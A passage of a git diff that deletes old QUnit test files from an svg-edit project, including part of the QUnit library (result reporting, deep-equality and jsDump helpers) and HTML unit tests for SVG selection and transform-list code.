-		QUnit.moduleDone( config.currentModule, config.moduleStats.bad, config.moduleStats.all );
-	}
-
-	var banner = id("qunit-banner"),
-		tests = id("qunit-tests"),
-		html = ['Tests completed in ',
-		+new Date - config.started, ' milliseconds.<br/>',
-		'<span class="passed">', config.stats.all - config.stats.bad, '</span> tests of <span class="total">', config.stats.all, '</span> passed, <span class="failed">', config.stats.bad,'</span> failed.'].join('');
-
-	if ( banner ) {
-		banner.className = (config.stats.bad ? "qunit-fail" : "qunit-pass");
-	}
-
-	if ( tests ) {	
-		var result = id("qunit-testresult");
-
-		if ( !result ) {
-			result = document.createElement("p");
-			result.id = "qunit-testresult";
-			result.className = "result";
-			tests.parentNode.insertBefore( result, tests.nextSibling );
-		}
-
-		result.innerHTML = html;
-	}
-
-	QUnit.done( config.stats.bad, config.stats.all );
-}
-
-function validTest( name ) {
-	var i = config.filters.length,
-		run = false;
-
-	if ( !i ) {
-		return true;
-	}
-	
-	while ( i-- ) {
-		var filter = config.filters[i],
-			not = filter.charAt(0) == '!';
-
-		if ( not ) {
-			filter = filter.slice(1);
-		}
-
-		if ( name.indexOf(filter) !== -1 ) {
-			return !not;
-		}
-
-		if ( not ) {
-			run = true;
-		}
-	}
-
-	return run;
-}
-
-function push(result, actual, expected, message) {
-	message = message || (result ? "okay" : "failed");
-	QUnit.ok( result, result ? message + ": " + expected : message + ", expected: " + QUnit.jsDump.parse(expected) + " result: " + QUnit.jsDump.parse(actual) );
-}
-
-function synchronize( callback ) {
-	config.queue.push( callback );
-
-	if ( config.autorun && !config.blocking ) {
-		process();
-	}
-}
-
-function process() {
-	while ( config.queue.length && !config.blocking ) {
-		config.queue.shift()();
-	}
-}
-
-function saveGlobal() {
-	config.pollution = [];
-	
-	if ( config.noglobals ) {
-		for ( var key in window ) {
-			config.pollution.push( key );
-		}
-	}
-}
-
-function checkPollution( name ) {
-	var old = config.pollution;
-	saveGlobal();
-	
-	var newGlobals = diff( old, config.pollution );
-	if ( newGlobals.length > 0 ) {
-		ok( false, "Introduced global variable(s): " + newGlobals.join(", ") );
-		config.expected++;
-	}
-
-	var deletedGlobals = diff( config.pollution, old );
-	if ( deletedGlobals.length > 0 ) {
-		ok( false, "Deleted global variable(s): " + deletedGlobals.join(", ") );
-		config.expected++;
-	}
-}
-
-// returns a new Array with the elements that are in a but not in b
-function diff( a, b ) {
-	var result = a.slice();
-	for ( var i = 0; i < result.length; i++ ) {
-		for ( var j = 0; j < b.length; j++ ) {
-			if ( result[i] === b[j] ) {
-				result.splice(i, 1);
-				i--;
-				break;
-			}
-		}
-	}
-	return result;
-}
-
-function fail(message, exception, callback) {
-	if ( typeof console !== "undefined" && console.error && console.warn ) {
-		console.error(message);
-		console.error(exception);
-		console.warn(callback.toString());
-
-	} else if ( window.opera && opera.postError ) {
-		opera.postError(message, exception, callback.toString);
-	}
-}
-
-function extend(a, b) {
-	for ( var prop in b ) {
-		a[prop] = b[prop];
-	}
-
-	return a;
-}
-
-function addEvent(elem, type, fn) {
-	if ( elem.addEventListener ) {
-		elem.addEventListener( type, fn, false );
-	} else if ( elem.attachEvent ) {
-		elem.attachEvent( "on" + type, fn );
-	} else {
-		fn();
-	}
-}
-
-function id(name) {
-	return !!(typeof document !== "undefined" && document && document.getElementById) &&
-		document.getElementById( name );
-}
-
-// Test for equality any JavaScript type.
-// Discussions and reference: http://philrathe.com/articles/equiv
-// Test suites: http://philrathe.com/tests/equiv
-// Author: Philippe Rathé <prathe@gmail.com>
-QUnit.equiv = function () {
-
-    var innerEquiv; // the real equiv function
-    var callers = []; // stack to decide between skip/abort functions
-
-
-    // Determine what is o.
-    function hoozit(o) {
-        if (QUnit.is("String", o)) {
-            return "string";
-            
-        } else if (QUnit.is("Boolean", o)) {
-            return "boolean";
-
-        } else if (QUnit.is("Number", o)) {
-
-            if (isNaN(o)) {
-                return "nan";
-            } else {
-                return "number";
-            }
-
-        } else if (typeof o === "undefined") {
-            return "undefined";
-
-        // consider: typeof null === object
-        } else if (o === null) {
-            return "null";
-
-        // consider: typeof [] === object
-        } else if (QUnit.is( "Array", o)) {
-            return "array";
-        
-        // consider: typeof new Date() === object
-        } else if (QUnit.is( "Date", o)) {
-            return "date";
-
-        // consider: /./ instanceof Object;
-        //           /./ instanceof RegExp;
-        //          typeof /./ === "function"; // => false in IE and Opera,
-        //                                          true in FF and Safari
-        } else if (QUnit.is( "RegExp", o)) {
-            return "regexp";
-
-        } else if (typeof o === "object") {
-            return "object";
-
-        } else if (QUnit.is( "Function", o)) {
-            return "function";
-        } else {
-            return undefined;
-        }
-    }
-
-    // Call the o related callback with the given arguments.
-    function bindCallbacks(o, callbacks, args) {
-        var prop = hoozit(o);
-        if (prop) {
-            if (hoozit(callbacks[prop]) === "function") {
-                return callbacks[prop].apply(callbacks, args);
-            } else {
-                return callbacks[prop]; // or undefined
-            }
-        }
-    }
-    
-    var callbacks = function () {
-
-        // for string, boolean, number and null
-        function useStrictEquality(b, a) {
-            if (b instanceof a.constructor || a instanceof b.constructor) {
-                // to catch short annotaion VS 'new' annotation of a declaration
-                // e.g. var i = 1;
-                //      var j = new Number(1);
-                return a == b;
-            } else {
-                return a === b;
-            }
-        }
-
-        return {
-            "string": useStrictEquality,
-            "boolean": useStrictEquality,
-            "number": useStrictEquality,
-            "null": useStrictEquality,
-            "undefined": useStrictEquality,
-
-            "nan": function (b) {
-                return isNaN(b);
-            },
-
-            "date": function (b, a) {
-                return hoozit(b) === "date" && a.valueOf() === b.valueOf();
-            },
-
-            "regexp": function (b, a) {
-                return hoozit(b) === "regexp" &&
-                    a.source === b.source && // the regex itself
-                    a.global === b.global && // and its modifers (gmi) ...
-                    a.ignoreCase === b.ignoreCase &&
-                    a.multiline === b.multiline;
-            },
-
-            // - skip when the property is a method of an instance (OOP)
-            // - abort otherwise,
-            //   initial === would have catch identical references anyway
-            "function": function () {
-                var caller = callers[callers.length - 1];
-                return caller !== Object &&
-                        typeof caller !== "undefined";
-            },
-
-            "array": function (b, a) {
-                var i;
-                var len;
-
-                // b could be an object literal here
-                if ( ! (hoozit(b) === "array")) {
-                    return false;
-                }
-
-                len = a.length;
-                if (len !== b.length) { // safe and faster
-                    return false;
-                }
-                for (i = 0; i < len; i++) {
-                    if ( ! innerEquiv(a[i], b[i])) {
-                        return false;
-                    }
-                }
-                return true;
-            },
-
-            "object": function (b, a) {
-                var i;
-                var eq = true; // unless we can proove it
-                var aProperties = [], bProperties = []; // collection of strings
-
-                // comparing constructors is more strict than using instanceof
-                if ( a.constructor !== b.constructor) {
-                    return false;
-                }
-
-                // stack constructor before traversing properties
-                callers.push(a.constructor);
-
-                for (i in a) { // be strict: don't ensures hasOwnProperty and go deep
-
-                    aProperties.push(i); // collect a's properties
-
-                    if ( ! innerEquiv(a[i], b[i])) {
-                        eq = false;
-                    }
-                }
-
-                callers.pop(); // unstack, we are done
-
-                for (i in b) {
-                    bProperties.push(i); // collect b's properties
-                }
-
-                // Ensures identical properties name
-                return eq && innerEquiv(aProperties.sort(), bProperties.sort());
-            }
-        };
-    }();
-
-    innerEquiv = function () { // can take multiple arguments
-        var args = Array.prototype.slice.apply(arguments);
-        if (args.length < 2) {
-            return true; // end transition
-        }
-
-        return (function (a, b) {
-            if (a === b) {
-                return true; // catch the most you can
-            } else if (a === null || b === null || typeof a === "undefined" || typeof b === "undefined" || hoozit(a) !== hoozit(b)) {
-                return false; // don't lose time with error prone cases
-            } else {
-                return bindCallbacks(a, callbacks, [b, a]);
-            }
-
-        // apply transition with (1..n) arguments
-        })(args[0], args[1]) && arguments.callee.apply(this, args.splice(1, args.length -1));
-    };
-
-    return innerEquiv;
-
-}();
-
-/**
- * jsDump
- * Copyright (c) 2008 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com
- * Licensed under BSD (http://www.opensource.org/licenses/bsd-license.php)
- * Date: 5/15/2008
- * @projectDescription Advanced and extensible data dumping for Javascript.
- * @version 1.0.0
- * @author Ariel Flesler
- * @link {http://flesler.blogspot.com/2008/05/jsdump-pretty-dump-of-any-javascript.html}
- */
-QUnit.jsDump = (function() {
-	function quote( str ) {
-		return '"' + str.toString().replace(/"/g, '\\"') + '"';
-	};
-	function literal( o ) {
-		return o + '';	
-	};
-	function join( pre, arr, post ) {
-		var s = jsDump.separator(),
-			base = jsDump.indent(),
-			inner = jsDump.indent(1);
-		if ( arr.join )
-			arr = arr.join( ',' + s + inner );
-		if ( !arr )
-			return pre + post;
-		return [ pre, inner + arr, base + post ].join(s);
-	};
-	function array( arr ) {
-		var i = arr.length,	ret = Array(i);					
-		this.up();
-		while ( i-- )
-			ret[i] = this.parse( arr[i] );				
-		this.down();
-		return join( '[', ret, ']' );
-	};
-	
-	var reName = /^function (\w+)/;
-	
-	var jsDump = {
-		parse:function( obj, type ) { //type is used mostly internally, you can fix a (custom)type in advance
-			var	parser = this.parsers[ type || this.typeOf(obj) ];
-			type = typeof parser;			
-			
-			return type == 'function' ? parser.call( this, obj ) :
-				   type == 'string' ? parser :
-				   this.parsers.error;
-		},
-		typeOf:function( obj ) {
-			var type;
-			if ( obj === null ) {
-				type = "null";
-			} else if (typeof obj === "undefined") {
-				type = "undefined";
-			} else if (QUnit.is("RegExp", obj)) {
-				type = "regexp";
-			} else if (QUnit.is("Date", obj)) {
-				type = "date";
-			} else if (QUnit.is("Function", obj)) {
-				type = "function";
-			} else if (QUnit.is("Array", obj)) {
-				type = "array";
-			} else if (QUnit.is("Window", obj) || QUnit.is("global", obj)) {
-				type = "window";
-			} else if (QUnit.is("HTMLDocument", obj)) {
-				type = "document";
-			} else if (QUnit.is("HTMLCollection", obj) || QUnit.is("NodeList", obj)) {
-				type = "nodelist";
-			} else if (/^\[object HTML/.test(Object.prototype.toString.call( obj ))) {
-				type = "node";
-			} else {
-				type = typeof obj;
-			}
-			return type;
-		},
-		separator:function() {
-			return this.multiline ?	this.HTML ? '<br />' : '\n' : this.HTML ? '&nbsp;' : ' ';
-		},
-		indent:function( extra ) {// extra can be a number, shortcut for increasing-calling-decreasing
-			if ( !this.multiline )
-				return '';
-			var chr = this.indentChar;
-			if ( this.HTML )
-				chr = chr.replace(/\t/g,'   ').replace(/ /g,'&nbsp;');
-			return Array( this._depth_ + (extra||0) ).join(chr);
-		},
-		up:function( a ) {
-			this._depth_ += a || 1;
-		},
-		down:function( a ) {
-			this._depth_ -= a || 1;
-		},
-		setParser:function( name, parser ) {
-			this.parsers[name] = parser;
-		},
-		// The next 3 are exposed so you can use them
-		quote:quote, 
-		literal:literal,
-		join:join,
-		//
-		_depth_: 1,
-		// This is the list of parsers, to modify them, use jsDump.setParser
-		parsers:{
-			window: '[Window]',
-			document: '[Document]',
-			error:'[ERROR]', //when no parser is found, shouldn't happen
-			unknown: '[Unknown]',
-			'null':'null',
-			undefined:'undefined',
-			'function':function( fn ) {
-				var ret = 'function',
-					name = 'name' in fn ? fn.name : (reName.exec(fn)||[])[1];//functions never have name in IE
-				if ( name )
-					ret += ' ' + name;
-				ret += '(';
-				
-				ret = [ ret, this.parse( fn, 'functionArgs' ), '){'].join('');
-				return join( ret, this.parse(fn,'functionCode'), '}' );
-			},
-			array: array,
-			nodelist: array,
-			arguments: array,
-			object:function( map ) {
-				var ret = [ ];
-				this.up();
-				for ( var key in map )
-					ret.push( this.parse(key,'key') + ': ' + this.parse(map[key]) );
-				this.down();
-				return join( '{', ret, '}' );
-			},
-			node:function( node ) {
-				var open = this.HTML ? '&lt;' : '<',
-					close = this.HTML ? '&gt;' : '>';
-					
-				var tag = node.nodeName.toLowerCase(),
-					ret = open + tag;
-					
-				for ( var a in this.DOMAttrs ) {
-					var val = node[this.DOMAttrs[a]];
-					if ( val )
-						ret += ' ' + a + '=' + this.parse( val, 'attribute' );
-				}
-				return ret + close + open + '/' + tag + close;
-			},
-			functionArgs:function( fn ) {//function calls it internally, it's the arguments part of the function
-				var l = fn.length;
-				if ( !l ) return '';				
-				
-				var args = Array(l);
-				while ( l-- )
-					args[l] = String.fromCharCode(97+l);//97 is 'a'
-				return ' ' + args.join(', ') + ' ';
-			},
-			key:quote, //object calls it internally, the key part of an item in a map
-			functionCode:'[code]', //function calls it internally, it's the content of the function
-			attribute:quote, //node calls it internally, it's an html attribute value
-			string:quote,
-			date:quote,
-			regexp:literal, //regex
-			number:literal,
-			'boolean':literal
-		},
-		DOMAttrs:{//attributes to dump from nodes, name=>realName
-			id:'id',
-			name:'name',
-			'class':'className'
-		},
-		HTML:true,//if true, entities are escaped ( <, >, \t, space and \n )
-		indentChar:'   ',//indentation unit
-		multiline:true //if true, items in a collection, are separated by a \n, else just a space.
-	};
-
-	return jsDump;
-})();
-
-})(this);
diff --git a/public/svg-edit/test/select_test.html b/public/svg-edit/test/select_test.html
deleted file mode 100644
index ae907b2d..00000000
--- a/public/svg-edit/test/select_test.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <link rel='stylesheet' href='qunit/qunit.css' type='text/css'/>
-  <script src='../editor/jquery.js'></script>
-  <script type='text/javascript' src='../editor/browsersupport.js'></script>
-  <script type='text/javascript' src='../editor/math.js'></script>
-  <script type='text/javascript' src='../editor/svgutils.js'></script>
-  <script type='text/javascript' src='../editor/select.js'></script>
-  <script type='text/javascript' src='qunit/qunit.js'></script>
-  <script type='text/javascript'>
-  $(function() {
-  	// log function
-  	QUnit.log = function(result, message) {
-		if (window.console && window.console.log) {
-			window.console.log(result +' :: '+ message);
-		}
-	};
-
-	module('svgedit.select');
-
-	var svgns = 'http://www.w3.org/2000/svg';
-	var sandbox = document.getElementById('sandbox');
-	var svgroot;
-	var svgcontent;
-	var rect;
-	var mockConfig = {
-		dimensions: [640,480]
-	};
-	var mockFactory = {
-		createSVGElement: function(jsonMap) {
-			var elem = document.createElementNS(svgns, jsonMap['element']);
-			for (var attr in jsonMap['attr']) {
-				elem.setAttribute(attr, jsonMap['attr'][attr]);
-			}
-			return elem;
-		},
-		svgRoot: function() { return svgroot; },
-		svgContent: function() { return svgcontent; }
-	};
-
-    function setUp() {
-		svgroot = mockFactory.createSVGElement({
-			'element': 'svg',
-			'attr': {'id': 'svgroot'}
-		});
-		svgcontent = svgroot.appendChild(
-			mockFactory.createSVGElement({
-				'element': 'svg',
-				'attr': {'id': 'svgcontent'}
-			})
-		);
-		rect = svgcontent.appendChild(
-			mockFactory.createSVGElement({
-				'element': 'rect',
-				'attr': {
-					'id': 'rect',
-					'x': '50',
-					'y': '75',
-					'width': '200',
-					'height': '100'
-				}
-			})
-		);
-		sandbox.appendChild(svgroot);
-
-		svgedit.select.init(mockConfig, mockFactory);
-	}
-	
-	function tearDown() {
-		while (sandbox.hasChildNodes()) {
-			sandbox.removeChild(sandbox.firstChild);
-		}
-	}
-
-	test('Test svgedit.select package', function() {
-		expect(10);
-
-		ok(svgedit.select);
-		ok(svgedit.select.Selector);
-		ok(svgedit.select.SelectorManager);
-		ok(svgedit.select.init);
-		ok(svgedit.select.getSelectorManager);
-		equals(typeof svgedit.select, typeof {});
-		equals(typeof svgedit.select.Selector, typeof function(){});
-		equals(typeof svgedit.select.SelectorManager, typeof function(){});
-		equals(typeof svgedit.select.init, typeof function(){});
-		equals(typeof svgedit.select.getSelectorManager, typeof function(){});
-	});
-	
-	test('Test Selector DOM structure', function() {
-		expect(20);
-
-		setUp();
-
-		ok(svgroot);
-		ok(svgroot.hasChildNodes());
-		equals(svgroot.childNodes.length, 3);
-
-		// Verify existence of canvas background.
-		var cb = svgroot.childNodes.item(0);
-		ok(cb);
-		equals(cb.id, 'canvasBackground');
-
-		ok(svgroot.childNodes.item(1));
-		equals(svgroot.childNodes.item(1), svgcontent);
-
-		// Verify existence of selectorParentGroup.
-		var spg = svgroot.childNodes.item(2);
-		ok(spg);
-		equals(spg.id, 'selectorParentGroup');
-		equals(spg.tagName, 'g');
-
-		// Verify existence of all grip elements.
-		ok(spg.querySelector('#selectorGrip_resize_nw'));
-		ok(spg.querySelector('#selectorGrip_resize_n'));
-		ok(spg.querySelector('#selectorGrip_resize_ne'));
-		ok(spg.querySelector('#selectorGrip_resize_e'));
-		ok(spg.querySelector('#selectorGrip_resize_se'));
-		ok(spg.querySelector('#selectorGrip_resize_s'));
-		ok(spg.querySelector('#selectorGrip_resize_sw'));
-		ok(spg.querySelector('#selectorGrip_resize_w'));
-		ok(spg.querySelector('#selectorGrip_rotateconnector'));
-		ok(spg.querySelector('#selectorGrip_rotate'));
-
-		tearDown();
-	});
-
-  }); 
-  </script>  
-</head>  
-<body>  
-  <h1 id='qunit-header'>Unit Tests for select.js</h1>
-  <h2 id='qunit-banner'></h2>
-  <h2 id='qunit-userAgent'></h2>
-  <ol id='qunit-tests'>
-  </ol>
-  <div id='sandbox'></div>
-</body>  
-</html>
diff --git a/public/svg-edit/test/svgtransformlist_test.html b/public/svg-edit/test/svgtransformlist_test.html
deleted file mode 100644
index 59276e99..00000000
--- a/public/svg-edit/test/svgtransformlist_test.html
+++ /dev/null
@@ -1,418 +0,0 @@
-<!DOCTYPE html>
-<html>  
-<head>  
-  <link rel='stylesheet' href='qunit/qunit.css' type='text/css'/>  
-  <script src='../editor/jquery.js'></script>
-  <script>
-    // Mock for browsersupport
-    window.svgedit = {};
-    svgedit.browsersupport = {};
-    svgedit.browsersupport.nativeTransformLists = false;
-  </script>
-  <script type='text/javascript' src='../editor/svgtransformlist.js'></script>
-  <script type='text/javascript' src='qunit/qunit.js'></script>  
-  <script type='text/javascript'>
-  $(function() {
-  	// log function
-  	QUnit.log = function(result, message) {
-		if (window.console && window.console.log) {
-			window.console.log(result +' :: '+ message);
-		}
-	};
-	
-	var svgns = 'http://www.w3.org/2000/svg';
-	var svgroot = document.getElementById('svgroot');
-	var svgcontent, rect, circle;
-	
-	var NEAR_ZERO = 1e-7;
-	function almostEquals(a, b, msg) {
-		msg = msg || (a + ' did not equal ' + b);
-		ok(Math.abs(a - b) < NEAR_ZERO, msg);
-	}
-	
-	function checkOutOfBoundsException(obj, fn, arg1) {
-		var caughtException = false;
-		try {
-			obj[fn](arg1); 
-		}
-		catch(e) {
-			if (e.code == 1) {
-				caughtException = true;
-			}
-		}
-		ok(caughtException, 'Caugh an INDEX_SIZE_ERR exception');
-	}
-
-	function setUp() {
-		svgcontent = svgroot.appendChild(document.createElementNS(svgns, 'svg'));
-		rect = svgcontent.appendChild(document.createElementNS(svgns, 'rect'));
-		rect.id = 'r';
-		circle = svgcontent.appendChild(document.createElementNS(svgns, 'circle'));
-		circle.id = 'c';
-	}
-	
-	function tearDown() {
-		svgedit.transformlist.resetListMap();
-		while (svgroot.hasChildNodes()) {
-			svgroot.removeChild(svgroot.firstChild);
-		}
-	}
-
-	module('svgedit.svgtransformlist');
-
-	test('Test svgedit.transformlist package', function() {
-		expect(2);
-		
-		ok(svgedit.transformlist);
-		ok(svgedit.transformlist.getTransformList);
-	});
-
-	test('Test svgedit.transformlist.getTransformList() function', function() {
-		expect(4);
-		setUp();
-		
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		var cxform = svgedit.transformlist.getTransformList(circle);
-		
-		ok(rxform);
-		ok(cxform);
-		equals(typeof rxform, typeof {});
-		equals(typeof cxform, typeof {});
-		
-		tearDown();
-	});
-
-	test('Test SVGTransformList.numberOfItems property', function() {
-		expect(2);
-		setUp();
-		
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		
-		equals(typeof rxform.numberOfItems, typeof 0);
-		equals(rxform.numberOfItems, 0);
-		
-		tearDown();
-	});
-
-	test('Test SVGTransformList.initialize()', function() {
-		expect(6);
-		setUp();
-		
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		var cxform = svgedit.transformlist.getTransformList(circle);
-		
-		var t = svgcontent.createSVGTransform();
-		ok(t);
-		ok(rxform.initialize);
-		equals(typeof rxform.initialize, typeof function(){});
-		rxform.initialize(t);
-		equals(rxform.numberOfItems, 1);
-		equals(cxform.numberOfItems, 0);
-
-		// If a transform was already in a transform list, this should
-		// remove it from its old list and add it to this list.
-		cxform.initialize(t);
-		// This also fails in Firefox native.
-//		equals(rxform.numberOfItems, 0, 'Did not remove transform from list before initializing another transformlist');
-		equals(cxform.numberOfItems, 1);
-		
-		tearDown();
-	});
-
-	test('Test SVGTransformList.appendItem() and getItem()', function() {
-		expect(12);
-		setUp();
-		
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		var cxform = svgedit.transformlist.getTransformList(circle);
-		
-		var t1 = svgcontent.createSVGTransform(),
-			t2 = svgcontent.createSVGTransform(),
-			t3 = svgcontent.createSVGTransform();
-		
-		ok(rxform.appendItem);
-		ok(rxform.getItem);
-		equals(typeof rxform.appendItem, typeof function(){});
-		equals(typeof rxform.getItem, typeof function(){});
-
-		rxform.appendItem(t1);
-		rxform.appendItem(t2);
-		rxform.appendItem(t3);
-		
-		equals(rxform.numberOfItems, 3);
-		var rxf = rxform.getItem(0);
-		equals(rxf, t1);
-		equals(rxform.getItem(1), t2);
-		equals(rxform.getItem(2), t3);
-
-		checkOutOfBoundsException(rxform, 'getItem', -1);
-		checkOutOfBoundsException(rxform, 'getItem', 3);
-		
-		cxform.appendItem(t1);
-		// These also fail in Firefox native.
-//		equals(rxform.numberOfItems, 2, 'Did not remove a transform from a list before appending it to a new transformlist');
-//		equals(rxform.getItem(0), t2, 'Found the wrong transform in a transformlist');
-//		equals(rxform.getItem(1), t3, 'Found the wrong transform in a transformlist');
-
-		equals(cxform.numberOfItems, 1);
-		equals(cxform.getItem(0), t1);
-		
-		tearDown();
-	});
-
-	test('Test SVGTransformList.removeItem()', function() {
-		expect(7);
-		setUp();
-		
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		
-		var t1 = svgcontent.createSVGTransform(),
-			t2 = svgcontent.createSVGTransform();
-		ok(rxform.removeItem);
-		equals(typeof rxform.removeItem, typeof function(){});
-		rxform.appendItem(t1);
-		rxform.appendItem(t2);
-		
-		var removedTransform = rxform.removeItem(0);
-		equals(rxform.numberOfItems, 1);
-		equals(removedTransform, t1);
-		equals(rxform.getItem(0), t2);
-		
-		checkOutOfBoundsException(rxform, 'removeItem', -1);
-		checkOutOfBoundsException(rxform, 'removeItem', 1);
-		
-		tearDown();
-	});
-
-	test('Test SVGTransformList.replaceItem()', function() {
-		expect(8);
-		setUp();
-		
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		var cxform = svgedit.transformlist.getTransformList(circle);
-		
-		ok(rxform.replaceItem);
-		equals(typeof rxform.replaceItem, typeof function(){});
-
-		var t1 = svgcontent.createSVGTransform(),
-			t2 = svgcontent.createSVGTransform(),
-			t3 = svgcontent.createSVGTransform();
-		
-		rxform.appendItem(t1);
-		rxform.appendItem(t2);
-		cxform.appendItem(t3);
-		
-		var newItem = rxform.replaceItem(t3, 0);
-		equals(rxform.numberOfItems, 2);
-		equals(newItem, t3);
-		equals(rxform.getItem(0), t3);
-		equals(rxform.getItem(1), t2);
-		// Fails in Firefox native
-//		equals(cxform.numberOfItems, 0);
-		
-		// test replaceItem within a list
-		rxform.appendItem(t1);
-		rxform.replaceItem(t1, 0);
-		// Fails in Firefox native
-//		equals(rxform.numberOfItems, 2);
-		equals(rxform.getItem(0), t1);
-		equals(rxform.getItem(1), t2);
-		
-		tearDown();
-	});
-
-	test('Test SVGTransformList.insertItemBefore()', function() {
-		expect(10);
-		setUp();
-		
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		var cxform = svgedit.transformlist.getTransformList(circle);
-		
-		ok(rxform.insertItemBefore);
-		equals(typeof rxform.insertItemBefore, typeof function(){});
-
-		var t1 = svgcontent.createSVGTransform(),
-			t2 = svgcontent.createSVGTransform(),
-			t3 = svgcontent.createSVGTransform();
-		
-		rxform.appendItem(t1);
-		rxform.appendItem(t2);
-		cxform.appendItem(t3);
-		
-		var newItem = rxform.insertItemBefore(t3, 0);
-		equals(rxform.numberOfItems, 3);
-		equals(newItem, t3);
-		equals(rxform.getItem(0), t3);
-		equals(rxform.getItem(1), t1);
-		equals(rxform.getItem(2), t2);
-		// Fails in Firefox native
-//		equals(cxform.numberOfItems, 0);
-
-		rxform.insertItemBefore(t2, 1);
-		// Fails in Firefox native (they make copies of the transforms)
-//		equals(rxform.numberOfItems, 3);
-		equals(rxform.getItem(0), t3);
-		equals(rxform.getItem(1), t2);
-		equals(rxform.getItem(2), t1);
-		tearDown();
-	});
-
-	test('Test SVGTransformList.init() for translate(200,100)', function() {
-		expect(8);
-		setUp();
-		rect.setAttribute('transform', 'translate(200,100)');
-
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		equals(1, rxform.numberOfItems);
-
-		var translate = rxform.getItem(0);
-		equals(translate.type, 2);
-
-		var m = translate.matrix;
-		equals(m.a, 1);
-		equals(m.b, 0);
-		equals(m.c, 0);
-		equals(m.d, 1);
-		equals(m.e, 200);
-		equals(m.f, 100);
-
-		tearDown();
-	});
-
-	test('Test SVGTransformList.init() for scale(4)', function() {
-		expect(8);
-		setUp();
-		rect.setAttribute('transform', 'scale(4)');
-
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		equals(1, rxform.numberOfItems);
-
-		var scale = rxform.getItem(0);
-		equals(3, scale.type);
-
-		var m = scale.matrix;
-		equals(m.a, 4);
-		equals(m.b, 0);
-		equals(m.c, 0);
-		equals(m.d, 4);
-		equals(m.e, 0);
-		equals(m.f, 0);
-
-		tearDown();
-	});
-
-	test('Test SVGTransformList.init() for scale(4,3)', function() {
-		expect(8);
-		setUp();
-		rect.setAttribute('transform', 'scale(4,3)');
-
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		equals(1, rxform.numberOfItems);
-
-		var scale = rxform.getItem(0);
-		equals(3, scale.type);
-
-		var m = scale.matrix;
-		equals(m.a, 4);
-		equals(m.b, 0);
-		equals(m.c, 0);
-		equals(m.d, 3);
-		equals(m.e, 0);
-		equals(m.f, 0);
-
-		tearDown();
-	});
-
-	test('Test SVGTransformList.init() for rotate(45)', function() {
-		expect(9);
-		setUp();
-		rect.setAttribute('transform', 'rotate(45)');
-
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		equals(1, rxform.numberOfItems);
-
-		var rotate = rxform.getItem(0);
-		equals(4, rotate.type);
-		equals(45, rotate.angle);
-
-		var m = rotate.matrix;
-		almostEquals(m.a, 1/Math.sqrt(2));
-		almostEquals(m.b, 1/Math.sqrt(2));
-		almostEquals(m.c, -1/Math.sqrt(2));
-		almostEquals(m.d, 1/Math.sqrt(2));
-		equals(m.e, 0);
-		equals(m.f, 0);
-
-		tearDown();
-	});
-
-	test('Test SVGTransformList.init() for rotate(45, 100, 200)', function() {
-		expect(9);
-		setUp();
-		rect.setAttribute('transform', 'rotate(45, 100, 200)');
-
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		equals(1, rxform.numberOfItems);
-
-		var rotate = rxform.getItem(0);
-		equals(4, rotate.type);
-		equals(45, rotate.angle);
-
-		var m = rotate.matrix;
-		almostEquals(m.a, 1/Math.sqrt(2));
-		almostEquals(m.b, 1/Math.sqrt(2));
-		almostEquals(m.c, -1/Math.sqrt(2));
-		almostEquals(m.d, 1/Math.sqrt(2));
-
-		var r = svgcontent.createSVGMatrix();
-		r.a = 1/Math.sqrt(2); r.b = 1/Math.sqrt(2);
-		r.c = -1/Math.sqrt(2); r.d = 1/Math.sqrt(2);
-
-		var t = svgcontent.createSVGMatrix();
-		t.e = -100; t.f = -200;
-
-		var t_ = svgcontent.createSVGMatrix();
-		t_.e = 100; t_.f = 200;
-		
-		var result = t_.multiply(r).multiply(t);
-		
-		almostEquals(m.e, result.e);
-		almostEquals(m.f, result.f);
-
-		tearDown();
-	});
-	
-	test('Test SVGTransformList.init() for matrix(1, 2, 3, 4, 5, 6)', function() {
-		expect(8);
-		setUp();
-		rect.setAttribute('transform', 'matrix(1,2,3,4,5,6)');
-
-		var rxform = svgedit.transformlist.getTransformList(rect);
-		equals(1, rxform.numberOfItems);
-
-		var mt = rxform.getItem(0);
-		equals(1, mt.type);
-
-		var m = mt.matrix;
-		equals(m.a, 1);
-		equals(m.b, 2);
-		equals(m.c, 3);
-		equals(m.d, 4);
-		equals(m.e, 5);
-		equals(m.f, 6);
-
-		tearDown();
-	});
-
-  }); 
-  </script>  
-</head>  
-<body>  
-  <h1 id='qunit-header'>Unit Tests for svgtransformlist.js</h1>
-  <h2 id='qunit-banner'></h2>
-  <h2 id='qunit-userAgent'></h2>
-  <ol id='qunit-tests'>
-  </ol>
-  <div id='svgroot' style='visibility:hidden'></div>
-</body>  
-</html>
diff --git a/public/svg-edit/test/svgutils_test.html b/public/svg-edit/test/svgutils_test.html
deleted file mode 100644
index ef0af673..00000000
--- a/public/svg-edit/test/svgutils_test.html
+++ /dev/null
@@ -1,123 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <link rel='stylesheet' href='qunit/qunit.css' type='text/css'/>
-  <script src='../editor/jquery.js'></script>
-  <!-- svgutils.js depends on these two... mock out? -->
-  <script type='text/javascript' src='../editor/browsersupport.js'></script>
-  <script type='text/javascript' src='../editor/svgtransformlist.js'></script>
-  <script type='text/javascript' src='../editor/svgutils.js'></script>
-  <script type='text/javascript' src='qunit/qunit.js'></script>  
-  <script type='text/javascript'>
-  $(function() {
-  	// log function
-  	QUnit.log = function(result, message) {
-		if (window.console && window.console.log) {
-			window.console.log(result +' :: '+ message);
-		}
-	};
-
-	var svgns = 'http://www.w3.org/2000/svg';
-	var svg = document.createElementNS(svgns, 'svg');
-
-	module('svgedit.utilities');
-
-	test('Test svgedit.utilities package', function() {
-		expect(3);
-		
-		ok(svgedit.utilities);
-		ok(svgedit.utilities.toXml);
-		equals(typeof svgedit.utilities.toXml, typeof function(){});
-	});
-
